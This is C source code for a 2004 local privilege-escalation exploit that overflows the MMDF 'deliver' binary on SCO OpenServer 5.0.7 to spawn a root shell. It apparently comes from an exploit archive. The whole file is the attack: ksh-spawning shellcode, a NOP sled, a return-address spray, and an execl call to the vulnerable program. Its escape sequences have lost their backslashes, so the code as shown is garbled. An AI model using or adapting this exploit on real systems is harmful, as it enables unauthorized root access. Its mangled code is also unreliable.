/*
 *  MMDF deliver local root exploit for SCO OpenServer 5.0.7 x86
 *  Copyright 2004 Ramon de Carvalho Valle
 *
 */

char shellcode[]=           /*  36 bytes                          */
    "x68xffxf8xffx3c"  /*  pushl   $0x3cfff8ff               */
    "x6ax65"              /*  pushl   $0x65                     */
    "x89xe6"              /*  movl    %esp,%esi                 */
    "xf7x56x04"          /*  notl    0x04(%esi)                */
    "xf6x16"              /*  notb    (%esi)                    */
    "x31xc0"              /*  xorl    %eax,%eax                 */
    "x50"                  /*  pushl   %eax                      */
    "x68""/ksh"            /*  pushl   $0x68736b2f               */
    "x68""/bin"            /*  pushl   $0x6e69622f               */
    "x89xe3"              /*  movl    %esp,%ebx                 */
    "x50"                  /*  pushl   %eax                      */
    "x50"                  /*  pushl   %eax                      */
    "x53"                  /*  pushl   %ebx                      */
    "xb0x3b"              /*  movb    $0x3b,%al                 */
    "xffxd6"              /*  call    *%esi                     */
;

main(int argc,char **argv) {
    char buffer[16384],address[4],*p;
    int i;

    printf("MMDF deliver local root exploit for SCO OpenServer 5.0.7 x86n");
    printf("Copyright 2004 Ramon de Carvalho Vallenn");

    *((unsigned long *)address)=(unsigned long)buffer-256+5120+4097;

    sprintf(buffer,"-c");
    p=buffer+2;
    for(i=0;i<5120;i++) *p++=address[i%4];
    for(i=0;i<8192;i++) *p++=0x90;
    for(i=0;i<strlen(shellcode);i++) *p++=shellcode[i];
    *p=0;

    execl("/usr/mmdf/bin/deliver","deliver",buffer,0);
}



// www.Syue.com [2004-10-26]